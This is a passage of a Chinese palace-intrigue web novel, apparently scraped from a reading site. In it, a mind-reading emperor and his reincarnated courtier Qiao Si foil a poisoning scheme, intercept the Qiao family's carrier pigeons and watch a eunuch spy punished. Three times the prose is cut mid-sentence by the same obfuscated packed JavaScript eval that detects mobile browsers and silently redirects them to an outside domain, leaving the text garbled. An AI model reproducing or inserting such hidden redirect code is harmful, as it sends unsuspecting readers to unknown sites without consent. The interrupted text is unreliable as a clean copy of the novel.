如今倒是醍醐灌顶了。 皇帝做戏这么多天,都是为了骗出晋王的下一步计划啊? 原来如此。 这便是晋王拐弯抹角要用出的诡计,从一开始的目的便不是行刺,而是下毒。 事成之后,好利用神鬼之说让这来历目的可疑的方士进宫。 成功了,或可暗中左右宫内、朝堂局势,失败了,也借此除去一个能为他所用的清官。 乔肆的大脑疯狂转动。 【原来在这儿等着我呢啊?】 【害得我紧张了半天,还以为狗皇帝真的中邪了呢!】 【真是好会谋划一暴君。】 乔肆的心声活跃地往外蹦跶时,殷少觉也死死盯着他的神情。 今日这一步棋,确实有些冒险。 乔肆不忠,仿佛满脑子都是弑君,按理说不会配合他做戏。 但殷少觉还是赌了一把。 赌在乔肆的心底,晋王要更可恨一些,愿意为了让晋王吃亏暂时配合他。 他赌赢了。 ……而且赢得有些过于轻松了,以至于殷少觉直觉有哪里不太对劲,却又无从察觉。 乔肆小心配合着,没有发现此刻殷少觉的目光落在自己身上多了几分探究。 玄放大师也没发现帐中人不止一个。 如果说太后之前还心存疑虑,担心皇帝的受伤生病的事是假的,那么此刻尽可放心了。 昏暗的光线中,太后与懂得些许医术的法师交换了一个眼神,双双放下了心中的石头。 脉象正确,确实是中毒了。 谁也想不到皇帝竟抓了个真的中毒之人正躺在龙床之上,和皇帝共享一个被窝。 那可是殷少觉,自幼孤僻多疑,就算是亲生母妃都不允许近身,登基后更是变本加厉,每晚就寝时从不允许任何太监宫女留在殿内服侍。 此刻纵然是有人告诉他们,说皇帝的龙床上藏了个人,恐怕也不会有人信。 终于蒙混过关,乔肆将手臂收了回来。 终于自由了,殷少觉也稍稍放松了些钳制的力道,乔肆便一边揉着自己发酸的手掌和小臂,一边在心里碎碎念地骂人。 【臭道士,你死定了!】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234877|181833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【装神弄鬼是吧,等着瞧!我要不给你找一大堆麻烦我就跟你姓!!】 把脉之后,玄放就开始做出一番苦思冥想,卜算起卦的模样,片刻后,便说起了治愈之法, “陛下这是遭了邪气侵蚀,才会身体不适,贫道可为陛下炼制仙丹,驱散邪气,只不过……” “法师还需要什么,可有话直说。” “只不过……陛下的情况比贫道想象中要严重得多,恐怕光是焚香沐浴、服用仙药并不足够。” “大师还有什么办法?” “贫道认为,不如在皇宫四周贴上特殊的符咒,可阻挡妖邪侵入,再于半月后开坛做法,方可通达天庭,保佑国运昌盛。” 殷少觉立刻应允,“那就依大师所言。” 【呵呵,开坛做法……是吧?】 【保佑国运……是吧?】 【真是瞌睡来了递枕头啊……正愁不知道该搞点什么大事情呢……】 骗子法师果然没让他失望,这么快就送来了如此绝妙的搞事契机。 【呵呵呵呵呵呵……】 乔肆低着头满脑子坏笑起来,头顶的头发都跟着一颤一颤。 殷少觉按住他不停乱晃的发梢,继续端着君王架子,与那法师你一言我一语地攀谈起来,询问炼丹做法的相关事宜。 玄放说起法事和炼丹之事,很快变得滔滔不绝,太后见事情差不多成了,便也先行离开,只留玄放和皇帝论经说道。 等到谈话结束时,已经是半个时辰后。 终于送走太后和玄放,殷少觉掀开被子想要起身,却发觉怀中的人已经闭上双眼,呼吸均匀地睡熟了。 他倒是舒服。 殷少觉直接将自己的袖子抽出,先一步下了床榻。 汪太医也在此时走了过来,他本想叫乔肆快起来,却在见到人熟睡之姿时笑了出来,摇头道, “乔肆这孩子,看着真不像是乔家人。” 殷少觉却是立刻反问他,“为何?” “看着怪没心眼儿的,心里的想法啊,都明明白白写在脸上,” 汪太医已经多年没关注朝中局势,并不知道近年发生过什么,便只当是随口聊,凭着自己的直觉笑着说道, “天真,善良,还很信赖陛下,不然也不会这么就睡着了。” 汪老不知不觉想起了往事,摸了摸胡须,又放低了声音嘟囔道,“难怪先帝也喜欢他。” “……是么?” 殷少觉不置可否,也看向乔肆熟睡的模样。 他无声嗤笑,很快收回视线,重新看着手中的奏折。 倒是忘了,旁人可听不见乔肆脑海中那些大胆放肆的言语,更不知道这少年如何千方百计地想弑君。 除了心大些、笨了些、怕疼又胆小,哪里不像乔家人了? 年纪轻轻,便如此擅长做戏说谎,不但骗了父皇的宠信,短短三日,就连汪老的偏爱都骗去了。 汪太医抬头,乍然瞧见皇帝的脸色,却是心下一沉。 他不该提先帝的,也不该这样想当然地忘了乔肆是个乔家人。 他是看着殷少觉长大的老太医,在皇帝尚且还是皇子的时候,因母妃的缘故在宫中不受重视,没少吃苦。 汪太医比任何人都清楚皇帝是如何一路走过来,又是如何变成了如今这副模样,同样的,也比任何人都明白帝王心的不留情面。 他叹了口气,望着乔肆安睡的脸,心生不忍。 乔肆看似立功诸多,实际上却知道了太多秘密,还被疑心重的皇帝忌惮着。 若是皇帝并非真心宠信乔肆,那这孩子如今的处境……恐怕不太好了。 做大夫做久了,便越发不愿看到自己费心费力医治的人转头又死于非命。 “陛下……” 他知道劝告无用,并未劝说任何,只是询问一个答案, “您确实希望我治好他的,对吗?” 只要皇帝是真的想治好乔肆,就说明至少在这件事平息之后,短时间之内,皇帝还不会要他的命。 殷少觉从奏折中抬头,不置可否, “汪老,只要你好好研制出解药,他就不会有毒发身亡的那天。” 7. 第七章(修) 是夜。 宫外,京城,月明星稀。 刘疏奉旨秘密行事,布衣布履书生装扮,唇上还贴了假胡须,任谁都不敢认这是朝中新贵吏部侍郎。 此时早已宵禁,只是巡防不严,刘疏只循着城中暗巷倒也畅行无阻,他循着一个特殊的记号一路行来,终于在一处院墙后发现了陆晚的标记。 那标记像是小孩子的涂鸦,很容易被人忽略,但当时乔肆画给他的时候,他便认定标记的主人一定是自己的弟弟小满。 那是一个仿佛被咬了一小口的满月图案,但被屋顶笼罩着。 小时候,他和弟弟在地上画画,他画了繁星,弟弟画了月亮,就是这样的。 他问小满,月亮的上面是什么,弟弟说是屋檐。 弟弟小时候身体不好,晚上总会惊醒,醒来的时候,便会透过窗户看夜空,看屋檐下的月亮。 月至中天,清光泄入高墙,涂鸦般的记号和记忆中儿童用树枝划过的圆润笔迹重合,刘疏心如擂鼓,猛地站起来向标记指示的方向跑去。 眼前是一处萧萧院落,门庭寥落,久无人居的样子。难道是找错了地方,弟弟……小满他已经不在此间了吗? 刘疏无声叹息,他伸手搭上门扉,岁月灰尘被拂去,门竟然并未上锁,吱呀一声向内滑开了。 小满他这些年是如何生活的,浪迹江湖,可有片瓦遮头寸地容身。 刘疏走进了这座小院。 电光火石间,刘疏惊觉身后不知何时有人靠近,正要回首去看,颈侧贴上一道令人毛骨悚然的霜锋。 “别动,”剑客声音也如剑锋冷峭,“谁派你来的?” “……小满?是你吗?” 刘疏心神俱颤。 剑锋还横在颈边,他却恍然无觉,从怀中拿出一个半截的玉佩,直接转过身去,看向持剑的侠客。 他摘下脸上的胡须伪装,眼眶发红,几乎落泪,“是我啊,小满,我是哥哥。” 月光落下,照亮了躺在掌心的玉佩。 剑客没有说话,只是在看到那玉佩时忽然收了长剑,他呼吸忽然就乱了,连忙也从怀中摸出了几乎一模一样的半截玉佩。 陆晚的心脏猛然狂跳起来。 多年以来,无论对上多么凶险的状况,他都不曾慌神失措,如今仅仅是一枚玉佩,却险些让他连剑都抓不稳了。 他干脆将长剑丢下,上前一步,亲自握住那只手,小心翼翼的、仿佛怕碰坏了一般,将两截玉佩放在了一处。 一度摔成两半的玉佩,如今终于重新拼合到了一起,严丝合缝,圆润瓷白,犹如天上的一轮满月。 他颤声,“哥……” 竟然是真的。 他竟然当真重新与哥哥重逢了。 陆晚松开玉佩,重新抬头,仔仔细细望着眼前的亲人。 他也有些失了冷静,“前些日子,我才刚刚得知你如今身份,他们都说你被关入了天牢,我便去天牢寻你,却听说……” 说着说着,陆晚竟是说不下去了,强行忍住了哽咽,“我还以为,哥你已经……” “我没事,我没事的。” 刘疏连忙解释,还捡起一旁的长剑递给他收回剑鞘。 他也在看陆晚。 多年未见,他的小满已经不似小时候那般瘦弱稚嫩,已经长得比他还高了,那双眉眼里像是淬了霜雪,锋锐逼人的模样像极了年轻时的爹爹。 为了让陆晚放心,他连忙解释道, “陛下暂时赦免了我,给了我戴罪立功的机会,你看,我不是好好的?” “陛下?戴罪立功……你在为那偏信神鬼不问朝政的昏君做事?” 提到皇帝,陆晚的神情中立刻透出嫌恶,他本就嫉恶如仇、最看不惯那些虚伪的官宦,这些天也没少听到京城中的风言风语,据说皇帝不但召见了擅长炼丹的方士,还开始沉迷鬼神之说, “他如今只知道修建祭坛,炼制仙丹,哪里还有需要你来帮忙做的事?” “和那祭坛没关系!小满,我并非是苟且偷生之人,也绝非愚忠之人,此事还有内情,我……” 刘疏急切地解释起来,但说了一半又止住了话头, “有些事我不便透露太多,我……” “我不是这个意思。” 陆晚皱眉,一把抓住他的臂膀,呼吸急促了些,“哥你还活着就好,其它的都不重要!我又怎么可能会因为此事怪你?” “不是这样的。” 刘疏也有些着急,反手也握住陆晚的手腕,“陛下他贤明仁德,心系天下黎民,我这番出宫,一是为了能见你一面,劝你尽快远离京城,二便是要尽我所能为陛下效忠,恨不能鞠躬尽瘁、死而后已……” “……鞠、躬、尽、瘁?” 听到这样的字眼,陆晚死死盯着亲哥的面庞,眼神微变,缓慢地将这四字在唇舌间仔细咬碎,“哥,你我失散多年,好不容易得以重逢,便是为了再一次生离死别么?” 此时,刘疏也明白自己说的话有些过于残酷,太过缺乏信服力,他只得轻叹一声,垂眸避开弟弟质问般的凝视, “小满,此事说来话长,但若是之后你了解到全部真相,定然也会理解、支持我的。” “有人跟踪。” 陆晚还想说什么,却猛地回头看向某处,只是瞬息间,他脸上的温情与心疼尽数褪下,常年与刀剑杀戮相伴的肃杀展露无遗,仿若从弟弟小满又变回了那个神秘诡谲的陆晚大侠。 他单手揽住刘疏,“哥,此地不宜久留,我们换个地方说话。” 眨眼间,刘疏与陆晚二人的身影便从原地闪身离开,迅速掠过一排排屋顶远去。 几息后,两个暗卫也落在一处酒楼的屋顶,气喘吁吁。 “回去复命吧,追不上了。” 另一个暗卫担忧, “啊?那陛下会不会罚我们?” “罚什么?本来就没人能追上姓陆的。” “说的也是。” …… 自从那日皇帝接见了那位高人,消息便不胫而走。 宫中的太监宫女们也忙碌了起来,每日都在那法师的谏言下在皇宫内做出种种改动,今日在某些方位贴符咒,明日又要将些花花草草挪了又种。 那位于皇宫中央,正迅速修建起来的巨大祭坛也日夜不休地赶着进度,眼看着不需要几日便能完工。 宫中忙碌,早朝却是一日都没恢复。 在这样的境况下,在京的官员们就算是想不听到什么风声都难。 皇帝忽然身体抱恙也好,听信神鬼之事也罢,历来都不是什么好兆头。 人心浮动时,新的谣言也在坊间传开。 京城之中人心惶惶,家家户户不到入夜便门扉紧闭,生怕邪祟进门。 有识之士对此嗤之以鼻,也有人在满城风声鹤唳中嗅出了不寻常的味道。 “哼,装神弄鬼的把戏。” 乔家老宅中,乔尚书阴沉着一张脸,当着自己两个儿子的面低声咒骂了句。 他今日再次请求面圣,却再次如之前一般被拒之门外,但也不算白跑一趟。 “宫里传出消息,那法师是太后举荐之人,必是晋王幕后主使。倒是好手段。” “爹。” 乔尚书长子四十上下,父子俩眉眼间透着如出一辙的阴郁,一双三白眼目露精光,“圣上果真中招了吗?晋王是想以此挟天子,还是干脆……” 他横手在颈前比了个杀的手势。 “无论晋王打算做什么,都决不能让他称心如意才是!” 相较于乔家长子的谨慎多虑,二儿子更年轻了十岁,脾气也更暴躁些,“爹!乔肆那厮正得圣宠,安排人找他一问便知真假!” “不急。” 乔尚书摸了摸细长的胡须,摆手道,“乔肆不足为虑,当初送他进宫,确实不想他还能得陛下青眼……但只做这些可不够。” 他眼底闪过一丝算计的精光, “怀谨,乖儿,你去——景安王不是还有个遗孤?小世子今年应该有八岁了吧?去给他家送些好礼,问候一下。” 大儿子立刻起身上前,拱手行了一礼,嘴角也挂起了然的微笑,“是。儿子明白了。” 等到大哥离开,二儿子也反应了过来,微微挑眉,“景安王么?我记得还有个谁家的小世子年纪更小,今年六岁,爹怎么不选他?” “选谁都无所谓,到时候一个不行,换一个便是。” 反正乔家需要的也只是个皇帝死后能扶持的傀儡,只要是沾了边的皇亲国戚,哪怕没有皇帝的血脉又如何? 若是新帝当真昏庸无能,被个臭道士骗得没了命,他们也可以扶持小世子登基做新帝,借着傀儡皇帝继续掌权。 总之下一个上位的,不是晋王就行。 乔尚书拿起一旁的茶杯,慢悠悠刮着上面的浮沫。 “怀忠,你那小弟进宫也有几日了,他走得匆忙,没带什么东西在身上,既然皇帝不让他出宫,那你便给他送些东西进去。” “小事一桩,儿子这就去办。” 提起乔肆,乔怀忠满脸不遮掩的轻鄙,起身便出去了。 两个儿子都走后,摆满了名贵家具与装饰品的屋内顿时又空荡荡了些,乔尚书转头,目光再次落在皇帝前不久送来的一箱箱赏赐上面。 箱子至今也未开封,像是什么不值钱的杂物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234878|181833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆在那里,已经落了灰。 “呵呵。” 早就见惯了金山银山的乔尚书并未将那点儿赏赐放在眼里,甚至连打理入库都嫌麻烦,讥笑了声便起身离开。 …… 木门一开,带了寒意的春风便争先恐后涌入屋内。 乔肆被吹得打了个哆嗦,连忙又将门给关上了。 冷啊冷,花都开了,怎么皇宫里还是这么冷? 然而他刚转头要去添两件衣裳,身后的门就又被推开了。 “乔大人,该喝药啦。” 鬼啊!! 乔肆两手捂住耳朵,快步逃回温暖的被窝。 他还以为只要那臭道士进献了仙丹,自己就不用吃这些苦药了呢!! 没想到啊!天真!他太天真了! 明明在昨日,仙丹就已经进献给皇帝了,谁想到啊!狗皇帝居然不让他直接吃! 明明吃了就解毒啊!虽然有那么一丢丢副作用,还可能稍微有点损伤身体,但是解了就得了呗!! 他又不是什么打算长寿的人! 结果殷少觉居然转头就把丹药给了汪太医,让老人家好好研究其中的成分,试着炼制出更好的真正的解药来。 至于药效是否完美,就由乔肆来吃着试试看。 于是,乔肆继续过上了每天试药喝药,逃到哪里都会被抓回来的苦日子。 “乔大人,不要讳疾忌医啊,这可都是陛下的一番良苦用心,陛下也是为了让乔大人能早日康复。” 给配方炼药的是汪太医,劝他喝药、每日熬药的却是王太医。 乔肆落荒而逃,来到了临华殿门口,下意识要推门跑。 在和门口值守的小太监对上视线后,他又将门重新关上。 这小太监也和太医们是一伙儿的,会帮忙抓他喝药! 王太医已经追了上来, “乔大人,别为难我了,臣今日还等着给您喝了药,再去陛下那讨赏呢。” “啊?” “您还不知道吧,陛下很关心大人的身体,只要谁能让您按时服药、遵循医嘱,就能去陛下那里领十两银子的赏钱呢。” 王太医笑着说道,“就当是为了臣的零花钱,您配合一下呗?” “……是这样吗?” 他从没想过皇帝能这么……这么……在意细节。 而且,皇帝给他几箱的赏赐,给最辛苦的太医居然就十两,是不是太不公平了? 乔肆有点心虚了。 算了算了。 他转头回来,还是认命捏着鼻子喝了药。 早膳随即端了上来,就在院落中吹着带花香的小凉风吃,颇有意境。 只是乔肆低头一看,又是些清汤寡水的,顿时更加没了胃口,吃了两口甜的缓解嘴里的苦味,就不再动筷子。 生无可恋时,头顶传来鸽子飞过的声音,一片灰色的羽毛缓缓飘落。 乔肆捡起恰好掉在汤碗边的羽毛,抬头张望而去,却完全没瞧见鸽子的身影,反而和一个抓鸽子的暗卫对上了视线。 哦。 老熟人。 上次就是这家伙把他直接裹被子里抗走飞檐走壁的。 乔肆脸色木然,眼神询问。 暗卫甲二面露尴尬,默默把被绑住的鸽子放进怀里,朝着他行了个礼,嗖的一下闪身离开。 王太医顺着他视线看过去,一无所获, “乔大人在看什么?” “我在看……烤乳鸽。” “???” 又一只鸽子飞过。 乔肆目光猛地一顿。 今天的鸽子是不是有点太多了? 暗卫数量有限,终于有一只鸽子落在了他的面前,而且不会被吓走。 竟是信鸽。 而且是乔家的信鸽。 啧…… 也是,如今乔家还不知道他已经看透了这群人的嘴脸,不再被他们蒙骗利用了,还想继续从他这里套话套消息呢。 好机会啊。 乔肆连忙抓住了鸽子,转身就跑出临华殿。 他重生了这么多次,也被软禁多次,乔家从没有一次往宫里送过东西,哪怕是一句话,一个希望也不曾给他。 也是因此,刚刚看到信鸽的时候,乔肆也没认出,满脑子只有鸽子肉的六种做法。 他习惯了以来过去的经验,竟然忘了乔家也会好奇皇帝的情况,忘了自己已经是明面上皇帝的宠臣,有了更多的‘价值’了。 哈。 乔肆一边跑,一边将信鸽用布绑起来,防止再次飞走。 法师的祭坛还要两三日才能建成,正好他现在无聊,缺了点乐子呢! 8. 第八章 御书房内。 殷少觉批阅着一封密函,阅后引火燃尽。 如他所料,刘疏的任务有进展了。 只不过,距离得到结果还需要一点时间。 暗卫来报。 “陛下,乔大人去了含凉殿。” “含凉殿?” 那是太后的寝宫。 殷少觉眉心一跳,“可派人盯着了?” “乙一还在盯着。” 暗卫低着头快速说道,“甲一甲二在临华殿捉住了几只鸽子,特命属下转交给陛下。” 说着,几只双翅被绑住、无法起飞的信鸽被暗卫双手奉上。 殷少觉并未亲手去碰,“把纸条取下。” 待暗卫将纸条放在了案上。 仔细一瞧,里面的内容一致,全都是向乔肆送消息,询问他近况如何,要他速速回信。 法坛还有两日便建成,乔家果然坐不住了。 “乔肆如何反应?” “回陛下,乔大人起初并未在意,但后来信鸽来得太多……还是被他抓到了一只,眼下正抱着鸽子躲在含凉殿,不知要做什么。” 殷少觉沉默片刻,微微忖度着。 一般在旁人猜不到乔肆要做什么的时候,他接下来要做的肯定不是什么好事。 “你先回去吧。” “是!” 暗卫闪身离开。 然而,不到一盏茶的时间,另一个暗卫又突然出现。 “陛下。” “说。” “乔大人又抓了三只鸽子,然后把那四只鸽子绑在一起,在太后的宫中……沉塘了。” “……” 殷少觉几乎以为自己听错了。 那不是乔家的信鸽? 乔肆在想什么? 他微微蹙眉盯着眼前不敢抬头的暗卫。 有那么一瞬间,殷少觉竟生出了直接过去凑近看看,听一听乔肆心中所想的冲动。 “继续盯着,必要的时刻帮衬着些,别让他发现你们,也别让其他宫人发现他。” “是!” 事关太后,稍有不慎便会牵扯甚多,殷少觉又思虑片刻,让暗卫把甲一也叫来,现在起严密盯守,每隔一盏茶的时间便来汇报。 很快,暗卫再次传来消息。 “陛下,乔大人又捞出了那些鸽子,正躲在柴房之中去毛、开膛,裹上了盐巴、糖浆、辣椒面……” “停。” 殷少觉揉着眉心,“不必说这么细致,说结果。” “……乔大人借着含凉殿的小灶做了叫花鸡,啊不,叫花鸽。” 还好刚才没有真的冲动到亲自去听乔肆心声。 殷少觉挥了挥手,让人再次退下。 他以为这已经是今日的全部,没想到之后暗卫继续来报,一整个上午的时间,乔肆都没再消停过。 在制作了一只叫花鸽,一只烤乳鸽,一只鸽子汤后,乔肆又抓到了新的信鸽。 这次总算没宰杀吃掉了,三只鸽子怎么也该吃饱了。 殷少觉只当乔肆是太无法无天,饿了连信鸽都吃,只留一只送信的, “等他向外送信时把信鸽拦下,仿写字迹更换纸条后再放飞回去。” 他吩咐完毕,却左等右等,都没等乔肆给乔家递消息。 又过了一个时辰,乔家发现信鸽迟迟不归,终于派了宫内的眼线与乔肆接头。 “陛下,是否需要……?” 暗卫说着,将右手放在了佩刀上。 甲一忠心耿耿,见陛下有所思虑,立刻主动请命灭口。 那眼线不过是个刚进宫不久的小太监,虽是乔家的人,但明面上并无身份背景。 乔家之所以会送他进宫,是因为这小太监原本是乔肆身边的书童。 暗卫鲜少会在皇帝发话前主动请命,此刻也是局势太过明显。 信鸽可以截获,消息可以递送假的出去,但若是活人眼线传递消息,就稍微难办些了。 此时此刻,确实是灭口来得更简单直接。 向来杀伐果断的殷少觉却并未发话,而是继续问道,“他们此刻在做什么?可发现了其它行踪怪异之人靠近乔肆?” “回陛下,乔大人与那名为小泉子的太监攀谈许久,正邀人一同享用鸽子汤,因迟迟未归,其他眼线也有所行动,但因为乔大人正在含凉殿附近的树上……所以暂时不敢靠近。” 如此。 “既然是从小一起长大的书童,那便先留着他的命。” 殷少觉终于起身,“剩下的,你们看着办。” “是!” 就是可以随意灭口的意思! 甲一暗暗兴奋,迅速离去捉人。 殷少觉也披上了外衣,离开御书房。 “摆驾。” …… 终于摆脱了两位太医的限制,乔肆终于能够不尊医嘱地吃了个爽。 过去重生时,他被软禁在宫中,经常缺吃少穿的,早就练就了一手好厨艺,别说掏马蜂窝了,抓鸡、烤鸡也是熟手,信鸽的鸽子肉虽然没有家禽那么肥美,但加上了辣椒后也是美味得很。 这要是让王太医看了,定要在他耳边唠叨,一会儿说太油腻,一会儿说辣的不能多吃,要是汪太医看了,也会皱着眉头很不认同,不让吃脖子也不让吃鸽子皮。 他才管不了那么多。 吃鸽子的时候,乔肆也想过,一直不送信回去,恐怕会引起乔家的注意。 果不其然,久久没有回信之后,乔家就派人过来了。 可惜,只是个没什么本事的眼线。 乔肆特意没告诉他自己吃的是什么,把自己不爱吃且加了大量辣椒的胸脯肉和鸽子屁股、鸽子头分他吃了之后,一边看着他嘶哈嘶哈嘴巴肿起来的丑态,一边笑眯眯地告诉他刚才吃的是信鸽。 小泉子果然大惊失色,甚至露出了几分怒容。 “小少爷!你怎么能如此任性妄为呢?二少爷还在担忧你的安危,等着你的回信呢!” 乔肆在心中嗤笑。 任性? 担忧?? 真是佩服这人说谎都不带脸红的本事。 他故意装作没想太多,拍拍小泉子的肩膀,“这不是还有你呢吗?我要是不拦下信鸽,今天怎么有机会见你一面,跟你叙叙旧?” “少爷快别说笑了……我……” 那小泉子眼珠子一转,努力耐着性子继续做戏,“我也担心少爷啊,就算没有这事儿,做奴才的也早晚要来看看您,何必做这样多余的事?” “哦?怎么,你这是怪起我了?” 小泉子干笑了两声, “没有没有,小的不敢。只是少爷,你也该说了吧?宫里这几天到底是个什么情况?” 啧。 乔肆在心中咋舌。 这套话也套的太明显了,真是把他当傻子耍。 早在乔府的时候,小泉子还不是小泉子,是名为万全的书童时,他就看这贼眉鼠眼的不顺眼了。 外人只当他和万全是从小一起长大的少爷与书童,默认他们是一伙儿的,却不知两人之间根本没有什么感情。 从他穿书进来,再到被乔家收留哄骗,上了乔家少爷的户口,最终进宫,中间不过短短两三年的时间,和万全相处也不过一两年。 一两年,培养不出什么感情,却足够他看透一个人的本性。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234879|181833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万全与其说是他的书童,不如说是乔家派来监视掌控他的借口,出门在外,甚至一度成了他的嘴替,他但凡想反驳什么,就满口之乎者也又是戴高帽、又是道德绑架的让他闭嘴。 乔肆后来重生的时候,才意识到自己是如何被全部人集体蒙蔽的。 乔家想骗他,如此久都没被发现,有一半是这些奴才的功劳。 当初他刚刚穿越过来,思维、习惯都还是现代人一般,对待下人也只当是拿钱办事的佣人,他被蒙在鼓里,不知道乔家如何骗他、利用他,其他人却是旁观者清。 那时乔肆刚刚穿越,待人很是良善真诚,有那么几次有人看不下去了,便想明里暗里地暗中提醒他。 然而这些人还没来得及把实话真相都告诉他,便都被万全发现,以各种理由挨了打,受了罚。 久而久之,无论是私自与乔肆结交为友的,真正对他好的,还是妄图对他说不该说的话的,全都被几次的杀鸡儆猴吓退。 乔肆看不得这些血腥严厉的责罚,觉得他们无辜,也曾经阻拦过。 “下人也是人,怎么能因为这样一点小事就打得这么狠?要是落下病根了怎么办?” 当时的万全是怎么说的? 这小人却是笑着拦住了乔肆,“少爷说笑了,奴才就是奴才,怎么能算是人呢?挨打受罚,也是他们应得的。” “宫里什么情况,你还不知道吗?” 乔肆见他追问,故意含糊其辞把问题抛了回去, “你比我早进宫,应该比我熟悉这儿的情况吧?怎么样,太监的月俸比起乔家的如何?” 小泉子顿时扎心了,眼底都闪过一丝狠色,但很快被他转头遮掩,假笑敷衍,“少爷别打趣小的了,乔家老爷待我恩重如山,皇家的饭也不是能轻松简单吃的。” “是吗?” 小泉子咬了咬牙,心底越发恨了起来。 明知故问!! 若是有的选,谁想进宫当一个阉人?! 都怪乔肆! 若不是为了乔肆,乔老爷怎么会把他送进宫! 皇家的活儿看似风光,其实想要往上爬,没有靠山的话比登天还难!偏偏乔家只想让他做个眼线,以防万一乔肆出什么状况,不肯让他太过出风头,以免被太后或者皇帝注意到。 他若是没有进宫,一直在乔家当差,不光油水足,还根本轮不到他来做这些脏活累活! “少爷别问了。” 小泉子说着说着,脸色有些绷不住了,拉着乔肆就要走,“好了,小灶也吃完了,少爷,咱们换个地方说话吧,这地方还是离太后寝宫太近了,我怕……” “怕什么?” 突然间,一道冷厉的嗓音幽幽在两人身后响起,惊得小泉子浑身一个激灵,回头一看,便脸色煞白地瘫坐在地,连滚带爬地跪了过去, “皇、皇上!!” 乔肆慢悠悠起身,也转向殷少觉,“参见陛下。” 他心中疑惑。 【皇帝怎么会在这儿?】 【不应该是太后先发现吗?】 这一次,皇帝却没问他什么,而是将目光落在一旁的小太监身上,直接定罪问责, “身为太监,却擅离职守,偷奸耍滑,没有懿旨擅闯太后寝宫,还带着朕的臣子做些偷鸡摸狗的勾当…… “拖下去。 “重罚,四十大板。” 乔肆吓了一跳,没想到是这样的责罚,他最怕疼了,下意识后退半步想逃。 【诶?!】 【打、打板子吗?!不要啊!】 殷少觉的目光幽幽落在他的脸上, “乔卿也一同去看看。” 【呜哇!!】 9. 第九章(加更) “皇上!皇上恕罪啊!奴才不是故意的,奴才只是看到乔大人在此,还以为……啊!” 侍卫上前,直接将那小泉子堵住嘴拖走了。 乔肆还是很怕疼的,下意识后退一步,“陛下,臣……” “乔卿不必求情了。” 殷少觉不说要罚他,也不说要放过他,只是带着人一同去了含凉殿外的一个别院。 两个侍卫听命来到乔肆左右,防止他逃跑,也带着他走向了行刑的别院。 【完了完了完了!!!】 【啊啊啊四十大板啊啊啊啊!】 乔肆一下就慌了神。 他前几世不是没吃过苦受过罪,更遑论挨打,但那些往往都是因为和乔家争斗。 这一次,却是因为皇帝!因为他自己作死! 短短的走向别院的过程中,心声如滚水一般沸腾了起来。 【呜呜呜呜!!!!】 【呜哇啊啊啊——】 【狗皇帝坏皇帝!暴君!!暴君啊!!!为什么说打人就打人!不就是擅闯了一下吗!不就是借了个灶火吗!?】 【呜呜呜呜!!!】 【虽然如果来的不是皇帝而是太后,就肯定不止打板子了……但是……呜呜呜!!!】 眨眼间地方已经到了,乔肆抬头一看,小泉子已经被绑好,放在了坚硬的木凳上,两旁的侍卫准备好了用刑的木杖。 乔肆顿时手脚发冷,四肢僵硬。 他最后求饶地朝着皇帝看了一眼,“陛下……” “乔卿既然知道后悔,便应当牢记,下次不要再犯。” 殷少觉看都没看他,甚至因为心声太炸耳朵了,还离他远了点。 乔肆顿时整个人都蔫儿了。 “臣……臣知道了……” 知道就好。 殷少觉对这效果很是满意。 之前无论乔肆怎么惹祸,他都尽量睁一只眼闭一只眼了,无非是这条命、这试药的身体留着还有用。 但两日后就是做法事的日子,今日乔家又手脚不干净,正好借机敲打敲打乔肆,让他安分几日,别到时候还不知天高地厚地胡作非为。 乔肆紧张不已地向前走去,来到了被绑住要准备受刑的小泉子旁边,面色苍白而茫然,回头看向殷少觉。 “我、我趴哪儿啊?” 【不会是打完了他才打我吧?等待痛苦比痛苦更可怕啊!】 【呜呜呜呜呜——】 殷少觉:“……” ? 乔肆在说什么? 殷少觉深吸一口气,自己都未察觉地皱起眉头,“回来。” 【呜呜呜果然是要排队的呜呜呜狗皇帝好狡诈好坏肯定是故意的他连多一个长板凳都不肯准备呜呜呜……】 乔肆抽了抽鼻子,更加如丧考妣地走回皇帝身边。 殷少觉嫌弃地无声叹气, “朕什么时候说过要打你板子?” 乔肆抬头,“啊?” 他愣愣地望着殷少觉,满是沮丧的眼眸一点点、缓慢而剧烈地重新恢复了光彩, “陛下不打我了?!” 在高兴什么?? 殷少觉感觉手心有点痒。 他收回视线,懒得看他,“今日你在此看着便是,这便是对你的责罚。” 【原来如此!!!】 【陛下英明!!!】 【耶!!!】 乔肆顿时彻底恢复了活力! 只要不挨打,怎样都好! 此时已经是中午,阳光直直晒下来,略微驱散了春日的寒气,却也有些晃眼,殷少觉便与乔肆站在树下的阴凉处。 到了这处,也不怕被人听到了,两个侍卫开始行刑,一杖下去,便立刻打得皮开肉绽。 